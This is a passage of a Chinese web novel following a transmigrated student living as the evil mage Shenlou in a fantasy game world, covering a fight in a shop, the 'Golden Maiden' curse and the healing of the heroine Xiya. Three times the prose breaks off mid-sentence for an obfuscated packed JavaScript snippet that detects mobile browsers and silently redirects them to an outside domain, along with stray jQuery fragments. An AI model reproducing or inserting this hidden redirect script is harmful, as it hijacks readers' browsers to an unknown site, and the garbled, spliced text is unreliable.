值十枚银币的琴在这儿能卖到五枚铜币,值五枚银币的药水未尝不能被他砍到一枚铜币……蜃楼这样想着,走到柜台前才发现,本来拥挤的沙发椅上空无一人。只剩那只白色的鹦鹉歪头看着他,又嚎了几句:“救我!救我!” …… 没关系,装聋他也是很擅长的。 蜃楼别开脸,忽略这只聒噪的鹦鹉。踌躇着要不要钻这个空子做一下法外狂徒的功夫,门上的铃铛忽然响了起来。 木门被人粗暴地推开,一个肥硕的影子抓着什么东西冲了进来。他的动作太过急促,以至于没能避开门前的那堆衣物,就这样被绊倒在了原地——并发出相当沉闷的,“咚”的一声。 “瑟恩,我的儿子……” 那一跤摔得看着就痛,商店老板却全无所觉,焦急地从地上爬了起来。他踉跄着往前走了两步,忽然意识到什么,猛然回过头去,看向门前—— 那堆湿漉漉的衣物仍然躺在那里。 而菲特终于注意到这一点。他先是愣了一下,然后两腿一软,又一次跌在地上;挣扎着站起无果,他只能连滚带爬地过去抓起那堆衣服。肥胖的手在衣服里翻翻找找,最终找出了一粒被打磨成犬齿形状的黄金。 菲特瞪大眼睛,盯着那枚犬齿,难以置信地愣在原地。空气安静了好一阵子,男人才回过神,伏下身去大哭起来。 蜃楼在柜台前安静地旁观了整个过程,此刻颇为头疼地揉了两下眉心。 他忽然觉得自己不该回来。 话是这么说,他还是去问系统了:“刚才那滩东西,不会是他儿子吧?这到底是什么情况,也是魔法吗?” 系统沉默了一会儿,回答说:“大人。这个世界的魔法和你们那儿的科技一样,是在不断进步的……” 蜃楼提醒它:“这种时候别说废话。” “好嘞。”系统干笑两声,继续说道,“这个,嗯……是某种比较新的禁术,没有任何记录,比较难搞了就是说嘛……” ……说了跟没说一样。 蜃楼撇撇嘴,站起身向菲特走去。失魂落魄的菲特没注意到他的接近,直到蜃楼蹲下身、拍了拍他的肩膀,才茫然地抬起头来。 他原想说些安慰的话。却没想到,在看清他的脸之后,菲特瞬间露出了愤恨的表情。 “都是你!是你害我被黄金少女‘衡量’的!”菲特暴起,双手紧紧地抓住蜃楼的胳膊,横冲直撞地向他压过去,“是你害死了瑟恩——混账,我要你给我儿子偿命!” 什么黄金少女?什么衡量? 蜃楼听得一头雾水。 然而,菲特三百余斤的体重对上普通人拥有巨大的优势;即便是蜃楼这样素质的大魔法师,一不留神也被按倒在了地上。 商店老板口中唾骂着肮脏的词汇,抬起他那只一直紧抓着什么东西的手。空气中寒光一闪,蜃楼抬起眼睛,只见一把锋利的厨刀迎面而来—— 他吃了一惊,连忙侧身闪避。多亏动作及时,“噌”的一声,刀刃几乎贴着他的脸颊扎进地板里。 “等等!”蜃楼下意识地作出防御姿态,尝试与他转圜,“到底发生什么事了,你先冷静下来,这样解决不了问题……” 可菲特已经被愤怒冲昏了头脑,哪里听得进他的话? 厨刀插进地板里,被木刺牢牢卡住。菲特吃力地将刀往外拔,还不忘记将胳膊肘往蜃楼身上招呼。蜃楼忙于抵挡他的攻击,一时之间竟想不出让他冷静下来的办法。 躲闪倒不是难事,问题是,这个棘手的情况…… 生在法治社会的钟灵,飞快地在脑海中回忆出她常态下会采取的举措——打110?不对,这里不是现实世界,没有警察的!向别人求助?但是这附近也没有人啊……再说,这里的人会帮她吗? 这时,系统出声提醒他:“大人,以你的力量可以直接制服他的。” 蜃楼回过神来,总算想起自己现在不是普通的女大学生“钟灵”,而是作恶多端的大魔法师蜃楼。 以蜃楼的身体素质,不需要施展魔法,也能控制发狂的菲特! 他深吸口气,瞄准菲特的肚子,用力踹了过去。 只听“咚”的一声闷响,三百余斤的肉山竟然就这样腾空飞起,直直砸到另一边的货架上。一个货架倒下了,在这狭小偪仄的空间里,其余的架子也受到震动,如多米诺骨牌一般开始倾覆。架子上的商品一一坠落,装满药水的瓶子和其他杂物一起滚落到地上,发出一连串的咚咚锵锵的、让人心碎的响声—— 这是很多钱打水漂的声音。 菲特在货架上砸出了一个大坑,随后缓慢地滑到地上,抽搐了两下,彻底昏死过去。 蜃楼坐起身来,表情震撼。 客观来说,男女间的身体素质确实会存在一点差别……但是这一脚踹飞三百斤大胖子的力道,真的是人类能拥有的吗? 算了,眼下还有更重要的事。他拍了两下脑袋,把多余的好奇心甩出大脑。随后走到菲特身边,探了探他的鼻息。幸好还活着,应该是靠体重做缓冲了吧,万幸万幸…… 思考着如何收拾狼藉的功夫,蜃楼忽然感到手腕一凉。却见一只小球从角落飞了出来,不偏不倚地砸到他手上。与此同时,凌乱的货架背后,悄然出现了一个白色的脑袋。 ……这个人,一直在这里的吗? 蜃楼放轻脚步走过去,看见一个青年正瑟缩在角落里,手里抓着一块断裂的木板,自言自语道:“我、我不会让你杀死菲特先生的!” 蜃楼站在他身后,凉凉地开口:“那让他杀死我就没关系了吗?” 青年身躯一震,终于注意到静伫在他身后的蜃楼。他尖叫一声,抄起木板,对着空气胡乱挥舞起来。然而这样的攻击毫无章法,并不能对蜃楼造成任何伤害。蜃楼看准时机,夺走青年手中的武器丢到一旁,又蹲下身去,面无表情地与他对视。 “你既然能看到我踹他,那没理由看不到他拿刀砍我。”蜃楼盯着青年的眼睛,一字一句地说,“冷静下来好好想想。如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648640|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真想杀他,不会给他拿刀袭击我的机会。” 白发青年愣住,目光飘向另一边仍在昏迷的菲特。见他四仰八叉地躺在地上,看着很是狼狈,胸膛却是在起伏的——这让他悄悄地松了口气。 大约是自知理亏,青年吞了吞口水,弱弱地为商店老板开解:“他、他也是因为瑟恩被‘衡量’了,所以……” 又是“衡量”…… 蜃楼沉吟片刻,忽然站起身来,向门外走去。 白发青年吃了一惊,爬起来叫住他:“等一下……你,你要走了吗?”一句话说完,他忽然低下头,开始频繁地咳嗽。那声音听着不太像是呛到,蜃楼回头望去,发现青年的嘴唇已经泛起绀色。 “我、咳咳,这里……”他捂住嘴唇,一边咳嗽,一边艰难地说,“黄金……不要……” …… 真是受不了了。 “他这是哮喘?”蜃楼问系统,“这里有治疗药水吗?能不能管用?” 系统连忙说:“管用,当然管用!在那呢,那个黄金雕像旁边。” 自从进入歌登镇,它能发挥金手指作用的时机越来越少。眼见蜃楼总算问了个它能解答的问题,系统的态度难得积极起来。 蜃楼根据系统的指引,果然在废墟中找到一瓶红色药水。药水旁歪倒着一个黄金雕像,好巧不巧,正是他取显影药水时险些弄翻的那个。 这一次,他注意到雕像的形状。 一个身形瘦弱的少女,这即刻让他联想到了商店老板口中的“黄金少女”——和埋藏在路牌之下,由黄金打磨而成的少女头骨。 这到底算什么?蜃楼不解地想。他拿了药水,也顺手把雕像拿了过去。随后在青年面前蹲下,将治疗药水递给他。 仔细一看,这个人,虽然和蜃楼一样都是白发,给人的感觉却更不健康一些。像是白化病……不,这样虚弱的话,应该就是白化病了。 青年喘着粗气,接过他手中的药水,往嘴里灌了大半。又放空双目,无神地缓了一会儿,面色终于好转过来。 “谢、谢谢你。”他抱着药瓶,磕磕绊绊地对蜃楼说,“你人真好,我还以为……” “我人不好。”蜃楼打断他,举起那座雕像在青年眼前晃晃,“帮你,只是因为我有个问题。这是什么东西?” 青年看到那座少女雕像,先是一愣,旋即想起什么,脸色发白:“黄金少女……啊,糟了,交易!” 他低下头,焦急地开始翻找他的口袋。与此同时,蜃楼皱起眉头,感觉到手中的雕像似乎在逐渐变烫。 青年摸了半天口袋,终于从中找出几枚零散的钱币。他拉着蜃楼跑到柜台前,将那些货币一股脑地扔在桌上,又摸了摸脖子,取下一条项链,也放了上去。 “这里的每家商店,都受到‘黄金少女’的庇佑。”青年转过头,盯着蜃楼手里的雕像,紧张地说,“任何不能达成小镇内绝对公平的交易,都会被强制拉入‘衡量’的!被毁坏的商品也不例外,‘黄金少女’会衡量你必须支付的价值,然后取走等价之物……” 哦。 蜃楼似懂非懂,将雕像放在桌上。沉吟片刻,他从身后拿出那瓶尚未达成交易的显影药水。 所以,这意思是说…… 他不光不能直接把这瓶药带回去,还要赔偿商店变成这样的损失了? 12. 第 12 章 在这个世界,王公贵族们要实现权力的集中,往往需要努力达到以下两个条件: 一、拥有强大的武装力量;二、让域内百姓的信仰达到高度统一。 第一点姑且不论,至于第二点,不论是在歌登镇还是弗洛瓦本土,都已经得到淋漓尽致的体现。 从“黄金少女”到花神维洛尼亚,这个世界究竟是否有神明存在尚未可知。但从结果而言,这一点反而是最无关紧要的东西。 神明是一种规训、教化的手段,对麻木的平民尤其奏效,可惜钟灵并不在其列。 她在现实循规蹈矩、按部就班地生活,只是因为那样可以省去很多麻烦。换到这个世界,转生成生来邪恶的大魔法师蜃楼,他自然没有必要再遵守那些莫名其妙的规则。 所以,现在。 面对白发青年的告诫,钟灵采取的措施是—— 蜃楼揽过桌面上所有的硬币,将它们丢回他的手里,连项链也挂回青年的脖子上。 随后,他不由分说地将青年推出了商店。自己则留在屋内,将门闩放下之后,又铺开了身上最后一张便携传送阵,将地上凌乱的商品、柜台、沙发椅、甚至是昏迷的菲特都一起踢了上去。 干完这些,看着传送阵上堆成的小山,蜃楼满意地拍去肩上莫须有的灰尘。 白发青年还在门外焦急地敲门:“你不能这样!菲特先生的店里有很多无价之宝,真‘衡量’起来,祂直接会取走你的性命的!……要不,你、你先在这等着,我把钱放在门口!我现在去找我姐姐,你不要乱跑哦,她一定有办法救你……” 青年的声音远去了。 而蜃楼毫无听信他建议的打算。他在商店角落留下一个投影法阵,站进传送阵里,念出神殿废墟的坐标。 他现在只好奇一件事情。 这么邪性的东西,如果碰上“蜃楼”,又会发生什么? * 数分钟后。 无名神殿的废墟内,突兀地出现了许多东西。 沙发椅、商店柜台、玩具熊、各式各样的药水——还有一个正在打呼噜的肥胖男人。 由于场面过于震撼,守在篝火边的季诺一时竟忘记搅拌锅上正在熬煮的药水。直到苦涩的糊味飘出来,他才慌慌忙忙地挑起一根树枝,将锅里浓稠的药水拌了两圈。 传送阵的光芒熄灭了,石壁上则投影出商店一片狼藉的画面。蜃楼抱臂看了一会儿,见没什么转变,才转过身去,迎上季诺欲言又止的目光。 “蜃楼先生,这些东西……”季诺踌躇着开口,“是您买来的吗?” 作为全游戏唯一的良心,季诺是三位男主角里唯一遵纪守法的好公民。 不说杀人放火,偷窃抢劫之类的事情他也从不会做。在希娅、蜃楼或阿忒菈作恶的时候,他也会坚决地站出来反对——只是希娅的夺嫡之路注定泥泞血腥,所以迎接季诺的几个结局,都不是很好。 他有时被不耐烦的希娅当做麻烦处理,有时则被吃醋的阿忒菈趁着夜深人静偷偷杀掉。蜃楼倒是不对他动手,但情况也不能说好到哪里去了。 当然,现在的蜃楼不会让这样的事情发生。 他虽然不是什么高尚的人,但能理解季诺的想法。季诺这样的人,不适宜与他们一起同行。蜃楼要让他看清现实,等到希娅苏醒之后,再让他决定自己的去处。 蜃楼摸了下季诺的脑袋,眼神飘向昏迷的菲特,理所当然地说:“当然不是。你看,那个就明显买不来的。” 三百余斤的菲特躺在地上,眼角还挂着未干的泪痕。他身上的穿着与蜃楼、季诺都不相同,显然是更加精致华贵的定制服装。幼儿手臂般粗细的手指上套着几个纯金的戒指,的确不是用钱就能买来的样子。 季诺跟着将视线投向菲特,见他虽然昏迷不醒、模样狼狈,胸口却依然在规律地起伏。每呼出一口气,都发出“吭哧吭哧”的声音,不能说多健康,但至少没受到什么危及生命的伤势。 他想了想,忽然恍然大悟地合掌:“我知道了。您是去救人了吗?” 蜃楼吃惊了一下,连忙辩解道:“不是,这些都是我通过非常不道德的途径抢来的……” “啊,我知道,我知道。”季诺向他用力地点头,露出“我都懂”的表情,“您不是什么好人,也不是在救人,只是为了自己不可告人的目的!” 蜃楼:…… 他真的知道了吗? 蜃楼捏了捏眉心,不再和季诺纠缠这些,转过身去将沙发椅从杂物堆里搬了出来。这张沙发椅对三百多斤的菲特来说太小了,但对瘦小的希娅而言,当床睡也绰绰有余。 他脱下斗篷,用绒布拍掉上面的灰尘与碎屑,然后抱起石板上的希娅,小心地将她放在了上面。 石板太凉了。希娅已经退烧,体温却很低,她该有一张温暖舒适的床了。说来还得谢谢老板,不然他可没办法在这么短的时间里弄到一张床…… 蜃楼安置好希娅,摸了摸口袋,把那瓶显影药水拿了出来,递给季诺。 季诺接过药水,表情变得认真起来。他从药锅里盛了些粘稠的草汁兑进去,再拧紧盖子,用力地摇晃了几下。 “希娅太久没有正常进食了。”他向蜃楼解释道,“直接服下显影药水会对她的身体造成伤害,所以我煮了一些温和的草药汁。这样可以稀释一些药性,顺便给身体补充营养……” 蜃楼点了点头表示明白,又将身体往后侧退了退,将沙发椅前的位置让给了季诺。 他在等他去给希娅喂药,但等了半天,并没有见到季诺有所动作。再一抬头,发现季诺正捧着药水,一脸希冀地看着他。 “干什么?”蜃楼不解。 季诺拿着药水,看了看他,又看了看仍在沉睡的希娅,试探地说:“我的手在达木兰宫的时候受伤了……现在还不太稳定,您能帮我给希娅喂药吗?” 蜃楼不疑有他,接过药水,在沙发椅前坐下。 季诺站在他身后,贴心指导他注意事项。 许久没吱声的系统突然冒出来,在蜃楼脑袋里“啧啧啧”了几声;蜃楼莫名其妙,没搭理它,继续全神贯注地给希娅喂药。 希娅的情况总的来说,依然不是很好。 她本有一头柔顺的黑发,现在却因为营养不良发黄发脆,散乱地挂在身上。脸颊上也没有几两好肉,不是淤青便是红肿,让她本应精致的五官看不出形状,实在让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648641|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人无法想象希娅此前的生活。 蜃楼扶着她,动作小心万分,生怕将本就脆弱纤细的她碰坏了—— 天知道,他以前帮同学搬泥塑的时候都没这么温柔。这狗系统最好能给他合理的报酬…… “说起来,蜃楼先生和希娅是怎么认识的?”在等待药效发作的时间里,季诺鼓起勇气问道,“希娅她……这几年过得怎么样?” 蜃楼抬起头,看了季诺一眼。 是哦,他现在还不知道希娅这失踪的几年里都做什么去了。在季诺的眼里,希娅在四年前忽然消失,好不容易出现、又被弗洛瓦皇室扣上谋害兄长的帽子,送上了断头台……一切太过蹊跷,这之中到底发生什么,他会关心也并不奇怪。 蜃楼想了想,回答说:“不清楚,我跟她不熟。混到一起全怪——” 全怪这个狗系统乱来…… 当然是不能说出口的,只是过个心瘾罢了。蜃楼撇撇嘴,不再说下去。季诺却莫名地来了兴致,追问他:“全怪什么,蜃楼先生?” 蜃楼撇过头,正想随便扯点什么糊弄一下。却发现希娅身上突然产生了奇妙的变化——是显影药水开始奏效了。 季诺的注意力也恰到好处地被转移过去。 只见沙发床上,从希娅的嘴唇开始,直至她的脚尖,所有属于“皮肤”的器官都开始透明化。随后是肌肉、脂肪和部分黏膜,不出多时,少女流动的血液和跳动的内脏便在二人面前清晰地展现出来。 蜃楼屏住呼吸,站起身往后退了两步,将床边的空间给季诺腾了出来。 季诺坐上去,认真地看了一会儿,喃喃道:“不是身体的缘故……?难道是魔法吗……” 听到“魔法”两个字,蜃楼一个激灵,赶紧去敲系统:“不会是我……不会是蜃楼干的吧?” 系统停顿了一下,说:“应该不是。这是比较低阶的精神控制魔法,你不稀罕用的,可能是弗洛瓦的人。” “精神控制?”蜃楼不太明白,“他们都抓住希娅了,还要控制她做什么?” “让她听话的手段。在市场处刑的犯人,都是要写‘认罪书’的。”系统解释说,“希娅不肯认罪,当然不会写什么认罪书。再加上她自己也会魔法不好控制,采取这种非常办法也算是意料之中吧……” 蜃楼嗤了一声,不作评价。 而季诺坐在床前看了一会儿,才转向蜃楼,抱歉地说:“我没有魔法天赋,看不到魔力流动。这个……可能需要您来解决。” 魔力流动? 在蜃楼露出困惑的表情之前,系统已经先一步在他脑内展开科普:“有魔法天赋的人,血脉里都会有‘魔力’流动的。就像血液一样,魔力也是构成他们生命的一部分。不过大人你现在可是大魔法师啊,答应我下次不懂也要装懂,好吗?好的。来。我教你怎么看。” 从21世纪来的钟灵对这种玄秘的东西可以说是一窍不通,然而,不知是否因为她寄宿的身体来自蜃楼,总能在第一次尝试中就完成得又快又好。 制冰、传送阵、投影魔法如是;现在进入观测状态,亦是如此。 系统只教了一遍,蜃楼便飞快地领会,进入了“魔力观测”的状态。 13. 第 13 章 此时此刻,在蜃楼眼中的希娅,除了血与肉的颜色之外,另多出一种无法用语言形容的色彩。 迷幻至极的微光,像血液一样在她体内流动,最后汇聚到大脑皮层——在那里,蜃楼注意到一个极其精细的图样,由圆形包裹,无数变幻的几何图形穿插其中,是魔法阵无疑。 “……我天,这手段也太狠了一点。”系统发出感叹,“你看,正常的魔力回路应该是形成一个循环的。但希娅现在的所有魔力都在向她大脑皮层上的魔法阵流动,至今不出,知道这意味着什么吗?” 蜃楼不明觉厉:“意味着什么?” 系统说:“维持精神控制需要很大的消耗。但这个魔法师将自己摘了出去,让希娅自己的魔力来维持魔法运作。她不止要承受魔法带来的伤害,还有时时刻刻的魔力枯竭。魔力就是魔法师的生命力,希娅能撑到现在已经是个奇迹了,难怪会昏迷不醒……” 尽管魔力对蜃楼来说是十分陌生的概念,但不妨碍他认识到事态的严重性。这个世界的魔法师少之又少,其中又有谁有能力、有闲心对只有二十岁的希娅做这样的手脚? 除了弗洛瓦皇室的人,也就是她的那两位哥哥,蜃楼思考不出其他的答案。 陷害、栽赃、精神控制……这样残忍的血亲之争横贯在眼前,让他感觉十分不爽。 这本该只是一场游戏的。 可是,歌登镇的事还姑且算了;什么“认罪书”、“精神控制魔法”,这些都是与女主角希娅息息相关的元素,却没有在游戏剧情里有过半句提及…… “好啦。”系统看出他的不悦,出声宽慰道,“俗话说,‘吃得苦中苦,方为人上人’。希娅要成为皇太女,肯定要经过非同寻常的锻打嘛……来,我教你怎么解除这个魔法。” 算了。蜃楼深吸口气,说服自己暂时放下这些,将精神集中在希娅身上。 他循着系统的指导,将手掌覆盖在希娅的额头上。 屏住呼吸,凝神静气。从蜃楼的身体里,金色的光流缓慢地渗透进希娅已经透明化的皮肤。光流穿过肌肉、避开骨骼,然后一点点填平她大脑皮层上的魔法回路…… 然而,回路还没有完全消散,蜃楼忽然像触电一般,诧异地抽回了手。 系统和季诺几乎同时发问:“怎么了?” 蜃楼顿住,手指缓慢地探上自己的脖颈。触感是微凉的人类肌肤,再正常不过了了。他回过神来,迅速冷静,只是摇了摇头,便继续往希娅的身体输送魔力。 他们都看不到吗? 蜃楼垂下眼睛,同时努力忽略那条漂浮在空气中的线性微光。 就在刚才,它突然在希娅的身上出现,以奇怪的形态彼此交织、绵延展开。其尽头则不偏不倚,恰好落在他的脖颈上—— 一串形状清晰的黑色实体挂在那里,与这诡异的、锁链形状的微光同时出现。 寓意不太友好,这个,是“项圈”的形状。 * 解咒完成,希娅的情况稳定下来,钟灵却彻底陷入了凌乱。 那个项圈,到底是什么东西? 认罪书和精神魔法就算了,可这是挂在男主角脖子上的项圈,另一头甚至还连在女主角希娅身上啊?游戏文本怎么能一个字没提到呢?就连系统也看不到它…… 蜃楼心乱如麻。他觉得自己或许该找个机会与系统对质,只是凡事有先后,他在歌登镇捅了篓子,还得先处理这一件事。 要么说季诺是全游戏的良心担当呢,解决了希娅的问题,现在又跑去照顾菲特了。 蜃楼暂时不打算回到歌登镇中,只趁希娅、菲特都还没有苏醒的时间里,观察他留在石墙上的投影。 此刻,菲特的商店里已经不再空空荡荡了。 扣着门闩的大门被人强行踹开,为首的是个身材微胖的中年男人,表情并不友善。而他身后,则站着蜃楼不久前还见过面的雪莉·怀恩。 雪莉的背后又挂着那个畏畏缩缩的白发青年…… “姐、姐姐,他救了我,是个好人……”青年扯着雪莉的袖子,小声地说,“能不能,不要让歌登先生抓走他……” 雪莉偏过头,警告的眼神在看见雪芮苍白的脸色后缓和下来。她叹了口气,捏了捏雪芮的脸颊,无奈地说:“雪芮,你什么都不明白。” 雪芮睁大眼睛,张了张嘴,什么也没能说出来。他推开雪莉,赌气般背过身去,不再说话了。 哦…… 蜃楼抱着胳膊,飞快地捋清了几人的关系。 所以,这个白毛男叫雪芮,和这位雪莉大小姐是姐弟关系;这个叫歌登的,应该就是他们的领头人。歌登、歌登镇,等等,这个镇子原来是以他的名字命名的吗? 他问系统:“这个叫歌登的人,你认识吗?” 系统顿了顿,说:“他……他不是贵族啊。奇怪,这么一看,怀恩家族的人怎么唯他马首是瞻?” “不是贵族,这镇子怎么以他命名?”蜃楼不解,“歌登镇以前没有别的名字吗?” 系统说:“有的,以前这里叫白腰镇。后来山底下挖出了金矿,就改名叫歌登镇了。” 蜃楼之前以为“歌登”取自英文“Golden”,还挺镇如其名的。然而如今这个叫歌登的男人出现,倒是说明他想得太过简单了。 他想了想,从燃烧的篝火处拿了一枚木炭,捣碎装进一个药瓶里。然后一边注意着投影中的动静,一边开始用药水和木炭的混合物画起传送阵来。 投影屏幕闪烁了两下,继续播放商店内发生的一切: 歌登闯入门内,不耐的表情在看清商店内的景象后变为错愕。紧随其后的雪莉走进门,动作停顿了一下,也露出十分震惊的表情。 在他们眼前,房间里只剩下被砸烂的几个货架,连柜台都消失不见了。乍一看还以为是被一伙穷凶极恶的强盗洗劫的,连柜台和沙发椅都没有放过…… 歌登率先反应过来,扯过躲在雪莉身后的雪芮,厉声喝道:“你自己看看!” “只有一个人?一个人,就把菲特的店全都搬空了,怎么可能!?你当是大魔法师来了吗!” 雪芮吓了一跳,下意识挣开他往后跑去。然而,跟随歌登而来的民兵已经在外围成一堵严实的人墙。他出不去,又被人拎着丢到商店内,摁住头看清了眼前的场景。 竟然真的什么都没有了! “不可能,不可能……” 雪芮惨白着脸滑坐在地上,目光在房间内来回扫视。然而,不论是昏迷的菲特也好、还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648642|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个帮助过他的男人也好,甚至连本该放在柜台上的黄金少女神像,统统都不翼而飞了! 歌登冷哼一声,面上浮现出不耐烦的神色。 他叫人将雪芮拉起来,又转向雪莉说道:“看看你这不成器的弟弟!为了活命,这样的谎也撒得出来……真是枉费你的一片苦心。” 雪莉抱着胳膊,面上没有太多表情,只是轻叹口气,转移话题:“您说得对。可是,菲特为什么也不在这里呢?他明明才接受过惩罚……” 歌登皱起眉头,绕着房间走了一圈。 除了被砸碎的货架,这里什么线索都没有留下。门是锁的,窗是关的,通往二层的阶梯上也没有什么可疑的痕迹。 越看越觉得心烦意乱,他疑心自己被菲特摆了一道,气上心头,忍不住一脚踹翻了角落的花瓶。 “肯定是那个贪得无厌的死胖子……”歌登咬牙切齿地说,“跟外地人里应外合,弄了这么一出戏来!哼,倒是连自己儿子的死活都不顾了。” 雪芮连忙反驳道:“不可能的!菲特先生说什么也不会拿瑟恩冒险的,而且,他明明也被……” 也被那个男人打晕了,他们俩明显不是一伙的啊! 话未说完,雪莉却从背后伸出手去,轻轻扯了扯雪芮的衣服。雪芮一顿,转头望向雪莉,表情有些茫然。 “也被什么?”歌登眯起眼睛。 雪芮咽了咽口水:“也、也被‘衡量’过了……他、他应该不敢再犯了……” 歌登嗤笑一声,转过身去:“天真……浪费我的时间。” 他对待雪芮比对待雪莉要不耐烦许多。正因如此,反而是成功地让雪芮蒙混过去。 歌登走出商店,差来民兵队的队长,交代道:“在镇子的出入口附近多增派些人手。” 民兵队长有些迟疑:“先生,就为了抓这些人吗?可是矿洞那边……” “抓什么人?”歌登冷笑道,“抢我们歌登镇的东西,一出镇口就会立马触发‘衡量’!不管他们怎么进来的,现在都是一滩金水了。我要你看住大门,如果还有人进来,就送到矿洞里去。今年的再塑要后延几天,这期间缺失的能量,就靠这些人来弥补。明白吗?” 话说到这个地步,队长也不敢再多说什么,颔首行过礼便带着人匆匆离开了。 投影中的画面一下变得冷清起来。 歌登凑到雪莉身边,抚摸着她的头发,说:“去换身漂亮的衣裳,雪莉。今晚镇上有个宴会,你要帮忙招待弗洛瓦来的客人……” 然而偌大的年龄差摆在那里,他与雪莉亲近的画面只能让观者感到不适,身具“钟灵”灵魂的蜃楼,更是一眼就看出来了:雪莉并不是真心想和他结婚的。 不过,在这种奇怪的地方,恐怕也不会有几桩因为两情相悦的婚姻吧……蜃楼这样想着,放下手里的药水,看向地板上已经竣工的传送阵。 “不错不错!”系统称赞道,“将颜料和‘强化魔药’混合在一起,就能大大提高传送阵的使用寿命。这样的收获才对得起我们今天的奔波嘛……” 蜃楼没有说话,诧异全在心里。 今天最大的收获,难道不是治好了希娅吗? 这系统……真的有当希娅是这个世界的“主角”吗? 14. 第 14 章 显影药水已经弄到了手,按理蜃楼不该再掺和歌登镇的事了。但是,自打他在投影里听过歌登的那些话后,在意的事情反而变得越来越多。 距蜃楼启动传送阵已经过去一段时间了。他身处神殿废墟内,早已踏出了歌登镇的范畴。可是,根本没有什么“黄金少女”的惩罚、他和商店老板也没有化成金水,甚至连任何不适感都无。 这太奇怪了。 结合系统一反常态地怂恿他调查小镇的表现,蜃楼心里突然产生一个离谱的推测。却因为太过荒诞、又暂时找不到证据,不好与任何人说。 再回过神来,他已经三度站在歌登镇的路牌前。 “季诺说希娅马上就会醒了诶。”系统假意怂恿他,“怎么不多留一阵子呢?好歹跟她聊几句嘛。” 蜃楼凉凉道:“现在不催我拯救歌登镇了?” “哎呀,一码归一码嘛……”系统说着,摆出一副看热闹不嫌事大的态度,“我现在更好奇希娅醒来之后第一眼看见你的表情。” 表情?还能是什么表情。 第四号BE的希娅,只是个被命运推着前进的可悲女孩。她连夺嫡之争都没来得及参与,更没有主动做出那些不堪的事情;只是因为相信哥哥会帮她“伸张正义”,便供出了蜃楼的存在。没想到最后反遭诬蔑,落得身首异处的下场。 尽管现在的“蜃楼”救了她,却不能弥补过去的蜃楼对她造成的伤害。 如果希娅在九死一生后醒来第一眼看到的是他,能忍住不杀人都算情绪稳定了…… 况且钟灵在法治社会长大,丝毫没有处理这种血淋淋关系的经验;又因为曾经同为女性,她特别理解希娅的心情,左右权衡,还是觉得让人家眼不见为净比较好。 现在,他要解决自己能力范围内的问题。 蜃楼还在神殿废墟时,向季诺打听过歌登镇的消息。季诺在格拉斯王国待的时间不长,对这个边陲小镇更是知之甚少,只有说起镇上的怀恩男爵时双眼发光,夸他是个“正义英勇”的好人,还向蜃楼打听男爵的现状。 然而,根据系统给出的情报——这个怀恩男爵,也就是雪莉和雪芮的生父,早在三年前就战死了。 蜃楼再一算,三年前,刚好是格拉斯战败、希恩把季诺带回自己宫里做男仆的时候…… 对上季诺期待的眼睛,他忽然觉得如鲠在喉,什么也说不出来了。沉默半晌,只挤出一句“还有要做的事”,便启动传送阵,飞似地离开了神殿。 再次来到歌登镇前,蜃楼发现几个民兵在入口附近巡逻。他的脚步一顿,立刻回忆起投影中歌登对众人下达的命令。 只要让他们察觉,蜃楼就能被抓进那个神秘的“矿洞”里去。歌登镇的异常跟突然出现的金矿脱不了关系,他总有直觉,自己会在矿洞中找到想要的答案。 可这样暴露自己是下下策。鉴于他现在是希娅的从犯,行事不能太过张扬。或许,还是偷偷潜入更保险一些…… 犹豫的功夫,蜃楼忽然感觉背后的披风被什么人用力扯了一下。他自己站得稳没什么事,倒是动手的人没控制好力道,往前栽了过来。 他下意识侧身一躲,没让那人撞到身上。随后便看见一个瘦小的身影向前扑过来、又栽进地里,吃了一嘴泥土。 “哇,咳、咳咳……” 原来是个十二三岁的小男孩,皮肤黝黑,身材瘦弱。他身上穿着朴素的麻布衣裳、也没戴任何金饰,显然不是歌登镇的原住民。 男孩一边咳出嘴里的泥土,一边站起身,好奇地打量蜃楼:“大哥哥,你也是来这里赚钱的吗?不要进去比较好哦,来过这里赚钱的人最后都变得很奇怪……” 蜃楼调整了一下自己的态度,蹲下身来,笑眯眯地看着他:“我不进去啊,我只是路过。倒是小朋友,你一个人跑来这里做什么?你爸爸妈妈呢?” “我是来这里找朋友玩的!”小男孩叉着腰,理直气壮地说,“明明说好了今天一起去抓蜻蜓的……可在河边等了半天瑟恩都没有来,我今天一定要和他玩的!我要去他家里找他!” 瑟恩? 蜃楼只觉得这名字十分熟悉,顿了一下,忽然想起来。那个商店老板的儿子,好像也叫“瑟恩”…… 不会有这么巧的事情吧? 他想了想,问道:“你说的瑟恩……他爸爸是不是特别胖?在歌登镇里开着一家商店,还养了只很吵的鹦鹉。” 